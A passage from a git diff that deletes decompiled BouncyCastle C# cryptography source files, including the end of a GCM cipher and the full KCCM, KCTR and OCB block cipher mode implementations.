Check.DataLength(input, inOff, len, "input buffer too short"); - int num = 0; - if (forEncryption) - { - if (bufOff != 0) - { - while (len > 0) - { - len--; - bufBlock[bufOff] = input[inOff++]; - if (++bufOff == 16) - { - ProcessBlock(bufBlock, 0, output, outOff); - bufOff = 0; - num += 16; - break; - } - } - } - while (len >= 16) - { - ProcessBlock(input, inOff, output, outOff + num); - inOff += 16; - len -= 16; - num += 16; - } - if (len > 0) - { - Array.Copy(input, inOff, bufBlock, 0, len); - bufOff = len; - } - } - else - { - for (int i = 0; i < len; i++) - { - bufBlock[bufOff] = input[inOff + i]; - if (++bufOff == bufBlock.Length) - { - ProcessBlock(bufBlock, 0, output, outOff + num); - Array.Copy(bufBlock, 16, bufBlock, 0, macSize); - bufOff = macSize; - num += 16; - } - } - } - return num; - } - - public int DoFinal(byte[] output, int outOff) - { - CheckStatus(); - if (totalLength == 0) - { - InitCipher(); - } - int num = bufOff; - if (forEncryption) - { - Check.OutputLength(output, outOff, num + macSize, "Output buffer too short"); - } - else - { - if (num < macSize) - { - throw new InvalidCipherTextException("data too short"); - } - num -= macSize; - Check.OutputLength(output, outOff, num, "Output buffer too short"); - } - if (num > 0) - { - ProcessPartial(bufBlock, 0, num, output, outOff); - } - atLength += (uint)atBlockPos; - if (atLength > atLengthPre) - { - if (atBlockPos > 0) - { - gHASHPartial(S_at, atBlock, 0, atBlockPos); - } - if (atLengthPre != 0) - { - GcmUtilities.Xor(S_at, S_atPre); - } - long pow = (long)(totalLength * 8 + 127 >> 7); - byte[] array = new byte[16]; - if (exp == null) - { - exp = new Tables1kGcmExponentiator(); - exp.Init(H); - } - exp.ExponentiateX(pow, array); - GcmUtilities.Multiply(S_at, array); - GcmUtilities.Xor(S, S_at); - } - byte[] array2 = new byte[16]; - Pack.UInt64_To_BE(atLength * 8, array2, 0); - Pack.UInt64_To_BE(totalLength * 8, array2, 8); - gHASHBlock(S, array2); - byte[] array3 = new byte[16]; - cipher.ProcessBlock(J0, 0, array3, 0); - GcmUtilities.Xor(array3, S); - int num2 = num; - macBlock = new byte[macSize]; - Array.Copy(array3, 0, macBlock, 0, macSize); - if (forEncryption) - { - Array.Copy(macBlock, 0, output, outOff + bufOff, macSize); - num2 += macSize; - } - else - { - byte[] array4 = new byte[macSize]; - Array.Copy(bufBlock, num, array4, 0, macSize); - if (!Arrays.ConstantTimeAreEqual(macBlock, array4)) - { - throw new InvalidCipherTextException("mac check in GCM failed"); - } - } - Reset(clearMac: false); - return num2; - } - - public virtual void Reset() - { - Reset(clearMac: true); - } - - private void Reset(bool clearMac) - { - cipher.Reset(); - S = new byte[16]; - S_at = new byte[16]; - S_atPre = new byte[16]; - atBlock = new byte[16]; - atBlockPos = 0; - atLength = 0uL; - atLengthPre = 0uL; - counter = Arrays.Clone(J0); - blocksRemaining = 4294967294u; - bufOff = 0; - totalLength = 0uL; - if (bufBlock != null) - { - Arrays.Fill(bufBlock, 0); - } - if (clearMac) - { - macBlock = null; - } - if (forEncryption) - { - initialised = false; - } - else if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - private void ProcessBlock(byte[] buf, int bufOff, byte[] output, int outOff) - { - Check.OutputLength(output, outOff, 16, "Output buffer too short"); - if (totalLength == 0) - { - InitCipher(); - } - byte[] array = new byte[16]; - GetNextCtrBlock(array); - if (forEncryption) - { - GcmUtilities.Xor(array, buf, bufOff); - gHASHBlock(S, array); - Array.Copy(array, 0, output, outOff, 16); - } - else - { - gHASHBlock(S, buf, bufOff); - GcmUtilities.Xor(array, 0, buf, bufOff, output, outOff); - } - totalLength += 16uL; - } - - private void ProcessPartial(byte[] buf, int off, int len, byte[] output, int outOff) - { - byte[] array = new byte[16]; - GetNextCtrBlock(array); - if (forEncryption) - { - GcmUtilities.Xor(buf, off, array, 0, len); - gHASHPartial(S, buf, off, len); - } - else - { - gHASHPartial(S, buf, off, len); - GcmUtilities.Xor(buf, off, array, 0, len); - } - Array.Copy(buf, off, output, outOff, len); - totalLength += (uint)len; - } - - private void gHASH(byte[] Y, byte[] b, int len) - { - for (int i = 0; i < len; i += 16) - { - int len2 = System.Math.Min(len - i, 16); - gHASHPartial(Y, b, i, len2); - } - } - - private void gHASHBlock(byte[] Y, byte[] b) - { - GcmUtilities.Xor(Y, b); - multiplier.MultiplyH(Y); - } - - private void gHASHBlock(byte[] Y, byte[] b, int off) - { - GcmUtilities.Xor(Y, b, off); - multiplier.MultiplyH(Y); - } - - private void gHASHPartial(byte[] Y, byte[] b, int off, int len) - { - GcmUtilities.Xor(Y, b, off, len); - multiplier.MultiplyH(Y); - } - - private void GetNextCtrBlock(byte[] block) - { - if (blocksRemaining == 0) - { - throw new InvalidOperationException("Attempt to process too many blocks"); - } - blocksRemaining--; - uint num = 1u; - num += counter[15]; - counter[15] = (byte)num; - num >>= 8; - num += counter[14]; - counter[14] = (byte)num; - num >>= 8; - num += counter[13]; - counter[13] = (byte)num; - num >>= 8; - num += counter[12]; - counter[12] = (byte)num; - cipher.ProcessBlock(counter, 0, block, 0); - } - - private void CheckStatus() - { - if (!initialised) - { - if (forEncryption) - { - throw new InvalidOperationException("GCM cipher cannot be reused for encryption"); - } - throw new InvalidOperationException("GCM cipher needs to be initialised"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/IAeadBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/IAeadBlockCipher.cs deleted file mode 100644 index 2a0d569..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/IAeadBlockCipher.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Modes; - -public interface IAeadBlockCipher -{ - string AlgorithmName { get; } - - IBlockCipher GetUnderlyingCipher(); - - void Init(bool forEncryption, ICipherParameters parameters); - - int GetBlockSize(); - - void ProcessAadByte(byte input); - - void ProcessAadBytes(byte[] inBytes, int inOff, int len); - - int ProcessByte(byte input, byte[] outBytes, int outOff); - - int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff); - - int DoFinal(byte[] outBytes, int outOff); - - byte[] GetMac(); - - int GetUpdateOutputSize(int len); - - int GetOutputSize(int len); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCcmBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCcmBlockCipher.cs deleted file mode 100644 index 2224425..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCcmBlockCipher.cs +++ /dev/null @@ -1,418 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class KCcmBlockCipher : IAeadBlockCipher -{ - private static readonly int BYTES_IN_INT = 4; - - private static readonly int BITS_IN_BYTE = 8; - - private static readonly int MAX_MAC_BIT_LENGTH = 512; - - private static readonly int MIN_MAC_BIT_LENGTH = 64; - - private IBlockCipher engine; - - private int macSize; - - private bool forEncryption; - - private byte[] initialAssociatedText; - - private byte[] mac; - - private byte[] macBlock; - - private byte[] nonce; - - private byte[] G1; - - private byte[] buffer; - - private byte[] s; - - private byte[] counter; - - private readonly MemoryStream associatedText = new MemoryStream(); - - private readonly MemoryStream data = new MemoryStream(); - - private int Nb_ = 4; - - public virtual string AlgorithmName => engine.AlgorithmName + "/KCCM"; - - private void setNb(int Nb) - { - if (Nb == 4 || Nb == 6 || Nb == 8) - { - Nb_ = Nb; - return; - } - throw new ArgumentException("Nb = 4 is recommended by DSTU7624 but can be changed to only 6 or 8 in this implementation"); - } - - public KCcmBlockCipher(IBlockCipher engine) - : this(engine, 4) - { - } - - public KCcmBlockCipher(IBlockCipher engine, int Nb) - { - this.engine = engine; - macSize = engine.GetBlockSize(); - nonce = new byte[engine.GetBlockSize()]; - initialAssociatedText = new byte[engine.GetBlockSize()]; - mac = new byte[engine.GetBlockSize()]; - macBlock = new byte[engine.GetBlockSize()]; - G1 = new byte[engine.GetBlockSize()]; - buffer = new byte[engine.GetBlockSize()]; - s = new byte[engine.GetBlockSize()]; - counter = new byte[engine.GetBlockSize()]; - setNb(Nb); - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - ICipherParameters parameters2; - if (parameters is AeadParameters) - { - AeadParameters aeadParameters = (AeadParameters)parameters; - if (aeadParameters.MacSize > MAX_MAC_BIT_LENGTH || aeadParameters.MacSize < MIN_MAC_BIT_LENGTH || aeadParameters.MacSize % 8 != 0) - { - throw new ArgumentException("Invalid mac size specified"); - } - nonce = aeadParameters.GetNonce(); - macSize = aeadParameters.MacSize / BITS_IN_BYTE; - initialAssociatedText = aeadParameters.GetAssociatedText(); - parameters2 = aeadParameters.Key; - } - else - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("Invalid parameters specified"); - } - nonce = ((ParametersWithIV)parameters).GetIV(); - macSize = engine.GetBlockSize(); - initialAssociatedText = null; - parameters2 = ((ParametersWithIV)parameters).Parameters; - } - mac = new byte[macSize]; - this.forEncryption = forEncryption; - engine.Init(forEncryption: true, parameters2); - counter[0] = 1; - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - public virtual int GetBlockSize() - { - return engine.GetBlockSize(); - } - - public virtual IBlockCipher GetUnderlyingCipher() - { - return engine; - } - - public virtual void ProcessAadByte(byte input) - { - associatedText.WriteByte(input); - } - - public virtual void ProcessAadBytes(byte[] input, int inOff, int len) - { - associatedText.Write(input, inOff, len); - } - - private void ProcessAAD(byte[] assocText, int assocOff, int assocLen, int dataLen) - { - if (assocLen - assocOff < engine.GetBlockSize()) - { - throw new ArgumentException("authText buffer too short"); - } - if (assocLen % engine.GetBlockSize() != 0) - { - throw new ArgumentException("padding not supported"); - } - Array.Copy(nonce, 0, G1, 0, nonce.Length - Nb_ - 1); - intToBytes(dataLen, buffer, 0); - Array.Copy(buffer, 0, G1, nonce.Length - Nb_ - 1, BYTES_IN_INT); - G1[G1.Length - 1] = getFlag(authTextPresents: true, macSize); - engine.ProcessBlock(G1, 0, macBlock, 0); - intToBytes(assocLen, buffer, 0); - if (assocLen <= engine.GetBlockSize() - Nb_) - { - for (int i = 0; i < assocLen; i++) - { - byte[] array2; - byte[] array = (array2 = buffer); - int num = i + Nb_; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ assocText[assocOff + i]); - } - for (int j = 0; j < engine.GetBlockSize(); j++) - { - byte[] array2; - byte[] array3 = (array2 = macBlock); - int num3 = j; - nint num2 = num3; - array3[num3] = (byte)(array2[num2] ^ buffer[j]); - } - engine.ProcessBlock(macBlock, 0, macBlock, 0); - return; - } - for (int k = 0; k < engine.GetBlockSize(); k++) - { - byte[] array2; - byte[] array4 = (array2 = macBlock); - int num4 = k; - nint num2 = num4; - array4[num4] = (byte)(array2[num2] ^ buffer[k]); - } - engine.ProcessBlock(macBlock, 0, macBlock, 0); - for (int num5 = assocLen; num5 != 0; num5 -= engine.GetBlockSize()) - { - for (int l = 0; l < engine.GetBlockSize(); l++) - { - byte[] array2; - byte[] array5 = (array2 = macBlock); - int num6 = l; - nint num2 = num6; - array5[num6] = (byte)(array2[num2] ^ assocText[l + assocOff]); - } - engine.ProcessBlock(macBlock, 0, macBlock, 0); - assocOff += engine.GetBlockSize(); - } - } - - public virtual int ProcessByte(byte input, byte[] output, int outOff) - { - data.WriteByte(input); - return 0; - } - - public virtual int ProcessBytes(byte[] input, int inOff, int inLen, byte[] output, int outOff) - { - Check.DataLength(input, inOff, inLen, "input buffer too short"); - data.Write(input, inOff, inLen); - return 0; - } - - public int ProcessPacket(byte[] input, int inOff, int len, byte[] output, int outOff) - { - Check.DataLength(input, inOff, len, "input buffer too short"); - Check.OutputLength(output, outOff, len, "output buffer too short"); - if (associatedText.Length > 0) - { - byte[] assocText = associatedText.GetBuffer(); - int assocLen = (int)associatedText.Length; - int dataLen = (int)(forEncryption ? data.Length : ((int)data.Length - macSize)); - ProcessAAD(assocText, 0, assocLen, dataLen); - } - if (forEncryption) - { - Check.DataLength(len % engine.GetBlockSize() != 0, "partial blocks not supported"); - CalculateMac(input, inOff, len); - engine.ProcessBlock(nonce, 0, s, 0); - int num = len; - while (num > 0) - { - ProcessBlock(input, inOff, len, output, outOff); - num -= engine.GetBlockSize(); - inOff += engine.GetBlockSize(); - outOff += engine.GetBlockSize(); - } - for (int i = 0; i < counter.Length; i++) - { - byte[] array2; - byte[] array = (array2 = s); - int num2 = i; - nint num3 = num2; - array[num2] = (byte)(array2[num3] + counter[i]); - } - engine.ProcessBlock(s, 0, buffer, 0); - for (int j = 0; j < macSize; j++) - { - output[outOff + j] = (byte)(buffer[j] ^ macBlock[j]); - } - Array.Copy(macBlock, 0, mac, 0, macSize); - Reset(); - return len + macSize; - } - Check.DataLength((len - macSize) % engine.GetBlockSize() != 0, "partial blocks not supported"); - engine.ProcessBlock(nonce, 0, s, 0); - int num4 = len / engine.GetBlockSize(); - for (int k = 0; k < num4; k++) - { - ProcessBlock(input, inOff, len, output, outOff); - inOff += engine.GetBlockSize(); - outOff += engine.GetBlockSize(); - } - if (len > inOff) - { - for (int l = 0; l < counter.Length; l++) - { - byte[] array2; - byte[] array3 = (array2 = s); - int num5 = l; - nint num3 = num5; - array3[num5] = (byte)(array2[num3] + counter[l]); - } - engine.ProcessBlock(s, 0, buffer, 0); - for (int m = 0; m < macSize; m++) - { - output[outOff + m] = (byte)(buffer[m] ^ input[inOff + m]); - } - outOff += macSize; - } - for (int n = 0; n < counter.Length; n++) - { - byte[] array2; - byte[] array4 = (array2 = s); - int num6 = n; - nint num3 = num6; - array4[num6] = (byte)(array2[num3] + counter[n]); - } - engine.ProcessBlock(s, 0, buffer, 0); - Array.Copy(output, outOff - macSize, buffer, 0, macSize); - CalculateMac(output, 0, outOff - macSize); - Array.Copy(macBlock, 0, mac, 0, macSize); - byte[] array5 = new byte[macSize]; - Array.Copy(buffer, 0, array5, 0, macSize); - if (!Arrays.ConstantTimeAreEqual(mac, array5)) - { - throw new InvalidCipherTextException("mac check failed"); - } - Reset(); - return len - macSize; - } - - private void ProcessBlock(byte[] input, int inOff, int len, byte[] output, int outOff) - { - for (int i = 0; i < counter.Length; i++) - { - byte[] array2; - byte[] array = (array2 = s); - int num = i; - nint num2 = num; - array[num] = (byte)(array2[num2] + counter[i]); - } - engine.ProcessBlock(s, 0, buffer, 0); - for (int j = 0; j < engine.GetBlockSize(); j++) - { - output[outOff + j] = (byte)(buffer[j] ^ input[inOff + j]); - } - } - - private void CalculateMac(byte[] authText, int authOff, int len) - { - int num = len; - while (num > 0) - { - for (int i = 0; i < engine.GetBlockSize(); i++) - { - byte[] array2; - byte[] array = (array2 = macBlock); - int num2 = i; - nint num3 = num2; - array[num2] = (byte)(array2[num3] ^ authText[authOff + i]); - } - engine.ProcessBlock(macBlock, 0, macBlock, 0); - num -= engine.GetBlockSize(); - authOff += engine.GetBlockSize(); - } - } - - public virtual int DoFinal(byte[] output, int outOff) - { - byte[] input = data.GetBuffer(); - int len = (int)data.Length; - int result = ProcessPacket(input, 0, len, output, outOff); - Reset(); - return result; - } - - public virtual byte[] GetMac() - { - return Arrays.Clone(mac); - } - - public virtual int GetUpdateOutputSize(int len) - { - return len; - } - - public virtual int GetOutputSize(int len) - { - return len + macSize; - } - - public virtual void Reset() - { - Arrays.Fill(G1, 0); - Arrays.Fill(buffer, 0); - Arrays.Fill(counter, 0); - Arrays.Fill(macBlock, 0); - counter[0] = 1; - data.SetLength(0L); - associatedText.SetLength(0L); - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - private void intToBytes(int num, byte[] outBytes, int outOff) - { - outBytes[outOff + 3] = (byte)(num >> 24); - outBytes[outOff + 2] = (byte)(num >> 16); - outBytes[outOff + 1] = (byte)(num >> 8); - outBytes[outOff] = (byte)num; - } - - private byte getFlag(bool authTextPresents, int macSize) - { - StringBuilder stringBuilder = new StringBuilder(); - if (authTextPresents) - { - stringBuilder.Append("1"); - } - else - { - stringBuilder.Append("0"); - } - switch (macSize) - { - case 8: - stringBuilder.Append("010"); - break; - case 16: - stringBuilder.Append("011"); - break; - case 32: - stringBuilder.Append("100"); - break; - case 48: - stringBuilder.Append("101"); - break; - case 64: - stringBuilder.Append("110"); - break; - } - string text = Convert.ToString(Nb_ - 1, 2); - while (text.Length < 4) - { - text = new StringBuilder(text).Insert(0, "0").ToString(); - } - stringBuilder.Append(text); - return (byte)Convert.ToInt32(stringBuilder.ToString(), 2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCtrBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCtrBlockCipher.cs deleted file mode 100644 index 5fc7717..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/KCtrBlockCipher.cs +++ /dev/null @@ -1,150 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class KCtrBlockCipher : IStreamCipher, IBlockCipher -{ - private byte[] IV; - - private byte[] ofbV; - - private byte[] ofbOutV; - - private bool initialised; - - private int byteCount; - - private readonly int blockSize; - - private readonly IBlockCipher cipher; - - public string AlgorithmName => cipher.AlgorithmName + "/KCTR"; - - public bool IsPartialBlockOkay => true; - - public KCtrBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - IV = new byte[cipher.GetBlockSize()]; - blockSize = cipher.GetBlockSize(); - ofbV = new byte[cipher.GetBlockSize()]; - ofbOutV = new byte[cipher.GetBlockSize()]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - initialised = true; - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - int destinationIndex = IV.Length - iV.Length; - Array.Clear(IV, 0, IV.Length); - Array.Copy(iV, 0, IV, destinationIndex, iV.Length); - parameters = parametersWithIV.Parameters; - if (parameters != null) - { - cipher.Init(forEncryption: true, parameters); - } - Reset(); - return; - } - throw new ArgumentException("Invalid parameter passed"); - } - - public int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public byte ReturnByte(byte input) - { - return CalculateByte(input); - } - - public void ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - if (outOff + len > output.Length) - { - throw new DataLengthException("Output buffer too short"); - } - if (inOff + len > input.Length) - { - throw new DataLengthException("Input buffer too small"); - } - int num = inOff; - int num2 = inOff + len; - int num3 = outOff; - while (num < num2) - { - output[num3++] = CalculateByte(input[num++]); - } - } - - protected byte CalculateByte(byte b) - { - if (byteCount == 0) - { - incrementCounterAt(0); - checkCounter(); - cipher.ProcessBlock(ofbV, 0, ofbOutV, 0); - return (byte)(ofbOutV[byteCount++] ^ b); - } - byte result = (byte)(ofbOutV[byteCount++] ^ b); - if (byteCount == ofbV.Length) - { - byteCount = 0; - } - return result; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (input.Length - inOff < GetBlockSize()) - { - throw new DataLengthException("Input buffer too short"); - } - if (output.Length - outOff < GetBlockSize()) - { - throw new DataLengthException("Output buffer too short"); - } - ProcessBytes(input, inOff, GetBlockSize(), output, outOff); - return GetBlockSize(); - } - - public void Reset() - { - if (initialised) - { - cipher.ProcessBlock(IV, 0, ofbV, 0); - } - cipher.Reset(); - byteCount = 0; - } - - private void incrementCounterAt(int pos) - { - int num = pos; - while (num < ofbV.Length) - { - byte[] array2; - byte[] array = (array2 = ofbV); - int num2 = num++; - nint num3 = num2; - if ((array[num2] = (byte)(array2[num3] + 1)) != 0) - { - break; - } - } - } - - private void checkCounter() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OcbBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OcbBlockCipher.cs deleted file mode 100644 index 2273376..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OcbBlockCipher.cs +++ /dev/null @@ -1,488 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class OcbBlockCipher : IAeadBlockCipher -{ - private const int BLOCK_SIZE = 16; - - private readonly IBlockCipher hashCipher; - - private readonly IBlockCipher mainCipher; - - private bool forEncryption; - - private int macSize; - - private byte[] initialAssociatedText; - - private IList L; - - private byte[] L_Asterisk; - - private byte[] L_Dollar; - - private byte[] KtopInput = null; - - private byte[] Stretch = new byte[24]; - - private byte[] OffsetMAIN_0 = new byte[16]; - - private byte[] hashBlock; - - private byte[] mainBlock; - - private int hashBlockPos; - - private int mainBlockPos; - - private long hashBlockCount; - - private long mainBlockCount; - - private byte[] OffsetHASH; - - private byte[] Sum; - - private byte[] OffsetMAIN = new byte[16]; - - private byte[] Checksum; - - private byte[] macBlock; - - public virtual string AlgorithmName => mainCipher.AlgorithmName + "/OCB"; - - public OcbBlockCipher(IBlockCipher hashCipher, IBlockCipher mainCipher) - { - if (hashCipher == null) - { - throw new ArgumentNullException("hashCipher"); - } - if (hashCipher.GetBlockSize() != 16) - { - throw new ArgumentException("must have a block size of " + 16, "hashCipher"); - } - if (mainCipher == null) - { - throw new ArgumentNullException("mainCipher"); - } - if (mainCipher.GetBlockSize() != 16) - { - throw new ArgumentException("must have a block size of " + 16, "mainCipher"); - } - if (!hashCipher.AlgorithmName.Equals(mainCipher.AlgorithmName)) - { - throw new ArgumentException("'hashCipher' and 'mainCipher' must be the same algorithm"); - } - this.hashCipher = hashCipher; - this.mainCipher = mainCipher; - } - - public virtual IBlockCipher GetUnderlyingCipher() - { - return mainCipher; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - bool flag = this.forEncryption; - this.forEncryption = forEncryption; - macBlock = null; - byte[] array; - KeyParameter keyParameter; - if (parameters is AeadParameters) - { - AeadParameters aeadParameters = (AeadParameters)parameters; - array = aeadParameters.GetNonce(); - initialAssociatedText = aeadParameters.GetAssociatedText(); - int num = aeadParameters.MacSize; - if (num < 64 || num > 128 || num % 8 != 0) - { - throw new ArgumentException("Invalid value for MAC size: " + num); - } - macSize = num / 8; - keyParameter = aeadParameters.Key; - } - else - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("invalid parameters passed to OCB"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - array = parametersWithIV.GetIV(); - initialAssociatedText = null; - macSize = 16; - keyParameter = (KeyParameter)parametersWithIV.Parameters; - } - hashBlock = new byte[16]; - mainBlock = new byte[forEncryption ? 16 : (16 + macSize)]; - if (array == null) - { - array = new byte[0]; - } - if (array.Length > 15) - { - throw new ArgumentException("IV must be no more than 15 bytes"); - } - if (keyParameter != null) - { - hashCipher.Init(forEncryption: true, keyParameter); - mainCipher.Init(forEncryption, keyParameter); - KtopInput = null; - } - else if (flag != forEncryption) - { - throw new ArgumentException("cannot change encrypting state without providing key."); - } - L_Asterisk = new byte[16]; - hashCipher.ProcessBlock(L_Asterisk, 0, L_Asterisk, 0); - L_Dollar = OCB_double(L_Asterisk); - L = Platform.CreateArrayList(); - L.Add(OCB_double(L_Dollar)); - int num2 = ProcessNonce(array); - int num3 = num2 % 8; - int num4 = num2 / 8; - if (num3 == 0) - { - Array.Copy(Stretch, num4, OffsetMAIN_0, 0, 16); - } - else - { - for (int i = 0; i < 16; i++) - { - uint num5 = Stretch[num4]; - uint num6 = Stretch[++num4]; - OffsetMAIN_0[i] = (byte)((num5 << num3) | (num6 >> 8 - num3)); - } - } - hashBlockPos = 0; - mainBlockPos = 0; - hashBlockCount = 0L; - mainBlockCount = 0L; - OffsetHASH = new byte[16]; - Sum = new byte[16]; - Array.Copy(OffsetMAIN_0, 0, OffsetMAIN, 0, 16); - Checksum = new byte[16]; - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - protected virtual int ProcessNonce(byte[] N) - { - byte[] array = new byte[16]; - Array.Copy(N, 0, array, array.Length - N.Length, N.Length); - array[0] = (byte)(macSize << 4); - byte[] array3; - byte[] array2 = (array3 = array); - int num = 15 - N.Length; - nint num2 = num; - array2[num] = (byte)(array3[num2] | 1); - int result = array[15] & 0x3F; - (array3 = array)[15] = (byte)(array3[15] & 0xC0); - if (KtopInput == null || !Arrays.AreEqual(array, KtopInput)) - { - byte[] array4 = new byte[16]; - KtopInput = array; - hashCipher.ProcessBlock(KtopInput, 0, array4, 0); - Array.Copy(array4, 0, Stretch, 0, 16); - for (int i = 0; i < 8; i++) - { - Stretch[16 + i] = (byte)(array4[i] ^ array4[i + 1]); - } - } - return result; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual byte[] GetMac() - { - if (macBlock != null) - { - return Arrays.Clone(macBlock); - } - return new byte[macSize]; - } - - public virtual int GetOutputSize(int len) - { - int num = len + mainBlockPos; - if (forEncryption) - { - return num + macSize; - } - if (num >= macSize) - { - return num - macSize; - } - return 0; - } - - public virtual int GetUpdateOutputSize(int len) - { - int num = len + mainBlockPos; - if (!forEncryption) - { - if (num < macSize) - { - return 0; - } - num -= macSize; - } - return num - num % 16; - } - - public virtual void ProcessAadByte(byte input) - { - hashBlock[hashBlockPos] = input; - if (++hashBlockPos == hashBlock.Length) - { - ProcessHashBlock(); - } - } - - public virtual void ProcessAadBytes(byte[] input, int off, int len) - { - for (int i = 0; i < len; i++) - { - hashBlock[hashBlockPos] = input[off + i]; - if (++hashBlockPos == hashBlock.Length) - { - ProcessHashBlock(); - } - } - } - - public virtual int ProcessByte(byte input, byte[] output, int outOff) - { - mainBlock[mainBlockPos] = input; - if (++mainBlockPos == mainBlock.Length) - { - ProcessMainBlock(output, outOff); - return 16; - } - return 0; - } - - public virtual int ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - int num = 0; - for (int i = 0; i < len; i++) - { - mainBlock[mainBlockPos] = input[inOff + i]; - if (++mainBlockPos == mainBlock.Length) - { - ProcessMainBlock(output, outOff + num); - num += 16; - } - } - return num; - } - - public virtual int DoFinal(byte[] output, int outOff) - { - byte[] array = null; - if (!forEncryption) - { - if (mainBlockPos < macSize) - { - throw new InvalidCipherTextException("data too short"); - } - mainBlockPos -= macSize; - array = new byte[macSize]; - Array.Copy(mainBlock, mainBlockPos, array, 0, macSize); - } - if (hashBlockPos > 0) - { - OCB_extend(hashBlock, hashBlockPos); - UpdateHASH(L_Asterisk); - } - if (mainBlockPos > 0) - { - if (forEncryption) - { - OCB_extend(mainBlock, mainBlockPos); - Xor(Checksum, mainBlock); - } - Xor(OffsetMAIN, L_Asterisk); - byte[] array2 = new byte[16]; - hashCipher.ProcessBlock(OffsetMAIN, 0, array2, 0); - Xor(mainBlock, array2); - Check.OutputLength(output, outOff, mainBlockPos, "Output buffer too short"); - Array.Copy(mainBlock, 0, output, outOff, mainBlockPos); - if (!forEncryption) - { - OCB_extend(mainBlock, mainBlockPos); - Xor(Checksum, mainBlock); - } - } - Xor(Checksum, OffsetMAIN); - Xor(Checksum, L_Dollar); - hashCipher.ProcessBlock(Checksum, 0, Checksum, 0); - Xor(Checksum, Sum); - macBlock = new byte[macSize]; - Array.Copy(Checksum, 0, macBlock, 0, macSize); - int num = mainBlockPos; - if (forEncryption) - { - Check.OutputLength(output, outOff, num + macSize, "Output buffer too short"); - Array.Copy(macBlock, 0, output, outOff + num, macSize); - num += macSize; - } - else if (!Arrays.ConstantTimeAreEqual(macBlock, array)) - { - throw new InvalidCipherTextException("mac check in OCB failed"); - } - Reset(clearMac: false); - return num; - } - - public virtual void Reset() - { - Reset(clearMac: true); - } - - protected virtual void Clear(byte[] bs) - { - if (bs != null) - { - Array.Clear(bs, 0, bs.Length); - } - } - - protected virtual byte[] GetLSub(int n) - { - while (n >= L.Count) - { - L.Add(OCB_double((byte[])L[L.Count - 1])); - } - return (byte[])L[n]; - } - - protected virtual void ProcessHashBlock() - { - UpdateHASH(GetLSub(OCB_ntz(++hashBlockCount))); - hashBlockPos = 0; - } - - protected virtual void ProcessMainBlock(byte[] output, int outOff) - { - Check.DataLength(output, outOff, 16, "Output buffer too short"); - if (forEncryption) - { - Xor(Checksum, mainBlock); - mainBlockPos = 0; - } - Xor(OffsetMAIN, GetLSub(OCB_ntz(++mainBlockCount))); - Xor(mainBlock, OffsetMAIN); - mainCipher.ProcessBlock(mainBlock, 0, mainBlock, 0); - Xor(mainBlock, OffsetMAIN); - Array.Copy(mainBlock, 0, output, outOff, 16); - if (!forEncryption) - { - Xor(Checksum, mainBlock); - Array.Copy(mainBlock, 16, mainBlock, 0, macSize); - mainBlockPos = macSize; - } - } - - protected virtual void Reset(bool clearMac) - { - hashCipher.Reset(); - mainCipher.Reset(); - Clear(hashBlock); - Clear(mainBlock); - hashBlockPos = 0; - mainBlockPos = 0; - hashBlockCount = 0L; - mainBlockCount = 0L; - Clear(OffsetHASH); - Clear(Sum); - Array.Copy(OffsetMAIN_0, 0, OffsetMAIN, 0, 16); - Clear(Checksum); - if (clearMac) - { - macBlock = null; - } - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - protected virtual void UpdateHASH(byte[] LSub) - { - Xor(OffsetHASH, 